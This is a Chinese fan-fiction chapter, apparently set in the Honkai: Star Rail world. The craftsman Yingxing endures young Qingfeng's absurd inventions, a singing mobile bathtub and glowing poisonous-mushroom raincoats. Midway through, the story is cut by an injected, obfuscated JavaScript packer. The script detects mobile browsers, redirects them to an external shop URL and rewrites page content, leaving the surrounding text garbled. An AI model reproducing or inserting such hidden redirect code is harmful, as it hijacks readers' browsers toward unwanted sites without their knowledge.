“……我最近没空给你制作这些器具,”应星冷酷无情(阿清语)地拒绝了帮助清风完成这些机巧器具的提议,并给他指了一条明路,“从这儿,出门直走500米,然后左转……再右转走200米…………” 说了一串如同智能导航一般的话语后,应星又道,“设计很有亮点,如果你真的很急的话,我刚刚说的那个地方是学宫教学用的锻造室,那里固定时间都有工造司的工匠在那里指导教学,所以………嗯?人呢?” 应星话还没说完,回头一看,清风小朋友早已迫不及待地朝应星所讲述的地点奔去,大开的房门证明了他的离去有多么地匆忙。 “毛毛躁躁的……”看着微微晃动的门页,应星浅叹了口气,“这样真的可以制作出他想要的机巧吗?” 毕竟对于工匠来说,耐心是必不可少的。 这样想了,他摇了摇头,还是将注意力拉回了自己的锻造台上。 …… 没想到,三天后。 “应星哥!你看我新做出来的‘浴缸一号’!”门外,传来了清风小朋友欢快的声音。 伴随着那道声音的接近,“彭!”的一声,一个五光十色的浴缸闪亮登场!! 应星看着手底下刚刚报废了的零件,深吸了一口气。 没事,一个零件罢了,小孩子第一次自己做出了机巧,兴奋是正常的。 想当初,自己亲手制作出第一个器具的时候不也是这般心情吗? 理解一下理解一下。 于是他转头,看向那个名为“浴缸一号”的机巧……器具? 那机巧刚一入眼,应星的面容顿时凝固了起来。 那是机巧器具吗?那是机巧器具吧? 为什么会是浴缸?为什么浴缸表面还在发光?为什么浴缸的尾端还在持续吐着泡泡?? 为什么浴缸还会唱歌? …… 这和图纸上画的完全……完全一样啊!! 再说一遍,完全一样! 他本来以为图纸上那形似浴缸的玩意儿是小朋友画工不太好的缘故,现在看来,这就是他想要制作的形状啊! “应星哥,你怎么不说话,是不是被我的‘浴缸一号’震惊住了!”清风驾驶着他的“浴缸一号”缓缓来到他的面前,浴缸欢快的乐声也在耳边无限放大。 应星张了张嘴,又闭了起来,一时间实在不知该作何发言。 震惊,确实很“震惊”,各种程度上。 应星打量了一下这个“浴缸一号”,斟酌着开口:“清风啊,这个……” “小燕子~穿花衣~” “……设计确实颇有想法……” “小蘑菇~蹦蹦跳~” “但是这个外表是不是……” “两只老虎~两只老虎~跑得快~” “……和实际用途有些割裂……” “小兔子开开~把门儿开开~” 应星:………… 他自认为情绪平稳,很少有所波动,但是今天,他第一次觉得自己的情绪神经前所未有地活跃。 应星听着耳边欢快的歌曲,握紧了拳头。 而就在这样的bgm中,清风对着应星解释道:“外形和实际用途有所割裂?不会啊!” 说着,他伸出手在“浴缸”的内壁上稍作操纵,只见“蹭蹭”两声,浴缸的边缘伸出了一根水管,水管头正对着浴缸,还带着一个花洒。 “‘浴缸一号’正如其名字,是个浴缸,当然可以洗澡啦!”说着,清风一把按下了操控盘上的某个按钮。 “等等!”意识到什么了的应星赶忙伸手阻止。 然而花洒似乎并没能像两人预料的那样喷出应有的流水。 “啊嘞?”清风疑惑地抬头看着花洒,“卡住了?不应该啊,储水装置我明明也制作了……” 说着,站起身,对着花洒敲了敲,再敲了敲,又敲了敲。 面对这意外的故障,应星悄悄松了一口气。 那孩子,也不想想自己正坐在浴缸里呢,要是水这个时候出来,岂不是全身湿透了。 好在故障了。 这样想着,应星对清风道:“那样敲是找不到故障点的,清风,还是先关掉运行,拆开查看零件的部署……” 可是“浴缸一号”像是知道了应星内心的感叹,又像是清风“朴素”的维修方式终于起了作用,只听内部“咚咚”两声。 最终,在应星无措的眼神,清风惊喜的欢呼声中,花洒喷涌出了极大的水流。 “哗哗哗。” 水流力道强劲,速度飞快,当然,温度也是非常刚好的。 温暖的水流,欢快的歌声,还有梦幻的泡泡…… 但就浴缸而言,这真是完美的一个泡澡浴缸啊! “所以,这样一个浴缸,为什么要加装的和星槎一般的移动功能呢?”应星面无表情地看着浑身湿透了的清风,发出疑问。 “哦,这个问题啊……”清风满脸笑容,大声说出自己的回答,“……你不觉得一边用星槎一般的速度飞快移动,一边泡澡是一件很有意思的事情吗?不过说到这个,要是用它在大街上移动洗澡的话好像不太好啊,果然还是在外面加个防窥罩子比较好吗?这样一来就要考虑空气流动和透光性能了…………” 说着说着,在“哗啦啦”的水流声和欢快的歌声中,清风碎碎念着自己的想法。 而应星,应星伸出自己的右手,将自己脸上被前方喷涌而出的流水所涉及到的水汽狠狠擦下。 微微抬头,看着锻造室内的空中逐渐飘散着的越来越多的泡泡,那五彩斑斓的透明泡泡,飘过自己的锻造台,飘过自己的工具墙,飘过门口那探头探脑的一堆属于工造司同僚的脑袋,飘过自己跟前…… …… 等等,飘过同僚的脑袋? 应星一下提起精神,扭头看向门口那一群被欢快歌声所吸引而来的同僚们。 那一群人,平日里不是连研究器具失败所造成的爆炸声都吸引不了他们吗?怎么今天一个行走的浴缸,几首欢快的儿歌就来了这么多人看热闹? 应星只觉脸上有些发热,再回头看着身旁蹲在浴缸里面浑身湿透了的小朋友。 应星:不知道为什么突然感觉好累。 ………… 在用了将近一个小时的时间做完关闭“浴缸一号”装置,打发门口同僚们的围观,带清风小朋友换下一身湿漉漉的衣服等多项事宜后,应星终于得以将清风小朋友和他的大作“浴缸一号”送离了自己的锻造室。 看着清风离去的背影,应星略感轻快地松了一口气。 终于离开了,此番过后,他应该有段时间不会再过来了吧。 可很快,应星又回想起那厚厚的一叠图纸和清风制作机巧的超高效率…… 应该不会那么快再过来吧。 应星内心有些不确定地安慰自己。 ………… * …… 事实证明,一个“浴缸一号”是无法满足清风小朋友的。 五天后。 “应星哥!你看我新制作的这件雨衣怎么样!”清风套着一件蘑菇形状的衣服,看上面反光的纹路和材质,确实是一件雨衣,就是这个雨衣…… 应星默默将手抬起,试图遮住眼前那有些刺眼的,五颜六色的光芒。 “为什么这个雨衣,会发光?”应星如是问道。 “这样下雨天在外面就会更显眼!朋友一下就可以找到我啦!”清风满脸自得,看来对于这个设计颇为满意。 应星:…… 他眯着眼睛,努力试图在亮地刺眼的光线中看清那位清风小朋友的身影。 “……嗯,确实很显眼。”最终,应星如是评价。 …… 七天后。 应星麻木地看着眼前刺眼的蘑菇从一个变成了两个。 “你们这是……”应星对于这种“蘑菇”已经有所防备,他扶了扶鼻梁上的墨色的眼镜,对着眼前的两朵蘑菇投去疑惑的目光。 虽然不知道这道目光能不能被两只“蘑菇”所接收,但其中一只“蘑菇”还是出声回答:“在景元的建议下,我对这件雨衣做出了有效的改良!” “是的!”另一只“蘑菇”如是发言,听声音,正是景元小朋友,“阿清考虑的还是不够完善,所以我建议他在蘑菇雨衣上多加了几个功能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461846|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,两只“蘑菇”身上耀眼的光芒逐渐变小,变小……最后终于降低到了正常的可视程度。 应星如释重负,果然还是自小看大的孩子靠谱,瞧瞧这建议提的,在点子上! 然而很快,应星刚刚卸下的重负又重新背了回去。 “这是什么?”应星指了指清风雨衣上长出的红色蘑菇,以及景元雨衣上长出的蓝色蘑菇。 “哦,我觉得原来那个太单调了,所以和景元讨论了一下,既然是蘑菇雨衣,那么雨衣上长蘑菇很合理吧,而且比原来更漂亮更有特色了!”清风脸上又露出了那个应星熟悉的,让人有些头疼的笑容。 “……本来得将雨水淋到雨衣上才能让蘑菇渐渐生长起来呢,但是为了让应星哥直接看到这个最新设计,所以来之前我就把蘑菇催熟好了,怎么样,看上去是不是超棒!” 身旁的景元对此颇为赞同,甚至还随着清风的讲解,两人一起摆起了姿势。 应星:…… 应星将右手抬起,遮住了自己的眼睛,然后又放下,对着两个小朋友发出疑问。 “你们知道这些蘑菇是有毒的吗?” 景元:“欸?有毒?” 清风:“没事儿~雨衣内侧我放了解毒剂。” 应星不知道今天自己沉默了几次,但他知道这些沉默应何而起。 他伸出手,从两人的雨衣上找到没有蘑菇生长的布料,抓住,然后问出了自己最关心的那个问题。 “这些蘑菇的生长孢子,你俩是从那里拿到的?” 具有毒素的生物品种,即便只是微毒,仙舟之上也是严格管控的。 清风:0v0(装傻表情) 景元:0.0(真.什么都不知道表情) 应星:= =(疲惫.jpg) …… “立个牌子,上书‘清风不得入内’,记得肖像画一起贴一张……” 这天之后,应星如是这般对着身旁的助手吩咐着。 …… * 但是,众所周知,什么类似“清风不得入内”的标识,很多时候都不过是个看一看的摆设罢了。 七天后。 应星木然地看着眼前的蘑菇变成了三只,终于意识到了自己应该做出些什么行动。 “哟!应星,好久不见啊!”新鲜出炉的第三只藤色的蘑菇对着应星招手打着招呼,“你看,这是清风送我的雨衣欸,还是他自己亲手做的,会发光会变形还可以像飞剑一样带人飞来飞去,太有意思了……” 这次的“蘑菇”还会飞? 会飞的蘑菇? 应星眼前一黑,只觉得自己平静的工造司研究锻造生涯终于迎来了巨大的挑战。 “……听说这个东西你也帮忙提出参考建议了?真是难得见你如此热情……”那边,藤发的狐人嘴里不停唠唠着,似乎对于应星这番行为很是意外。 也是,应星在工造司内虽不至于到完全独来独往无人交流的地步,但要他主动花时间参与一个小朋友机巧器具的后续完善修改,虽然不至于到惊世骇俗的地步,但也算得上难得。 应星看着眼前的三个蘑菇,一瞬间只觉得内心疲惫不堪。 休息,应星少见的有了这般想法。 他需要休息! …… 又是一个七天后。 “欸?应星哥今天不在吗?”清风站在门口,对着锻造室内的工匠发出了“可惜”的叹气,“真可惜,难得我今天有新东西想分享给他……” 然而面对室内某个锻造台边空荡荡的位置,藤发的狐人却是嗤嗤地发出阵阵笑声。 “满足了?”她的身后,清冷的声音里带着些许宠溺,定睛一看,正是镜流,而她的手里,正松松耷着一件散发着微光的雨衣。 “我说你最近怎么老和他们两个神神秘秘的做些什么,原是为了这个。”镜流看着室内难得少了某个身影的场景,内心也颇感意外。 应星大人沉迷机巧器具的事迹还是过于深入人心了。 “哈哈哈,我也没想到那家伙会因为这个停下那铁人般的作息,”藤发的狐人,或者说白珩,看着前方,露出些许感慨,道,“不过总归让那家伙学会自己放下手中的事务,偶尔好好休息休息,唉,也不枉我这段时间的努力……” 说着,她又把目光转向身侧的镜流,语气里带着几分惋惜,“就是可惜,我好不容易才把你拉过来一起穿蘑菇雨衣……” 说着说着,白珩脑内灵光一闪。 “欸!应星今天看不到没关系,明天看到不就行了!来来来,咱几个一起拍张照吧……” …… * 第二天回工造司,看到桌面上的四人蘑菇雨衣照片的应星:…… 固定时间休息请假的习惯还是很有必要好好保留下来! 应星内心如是对自己道。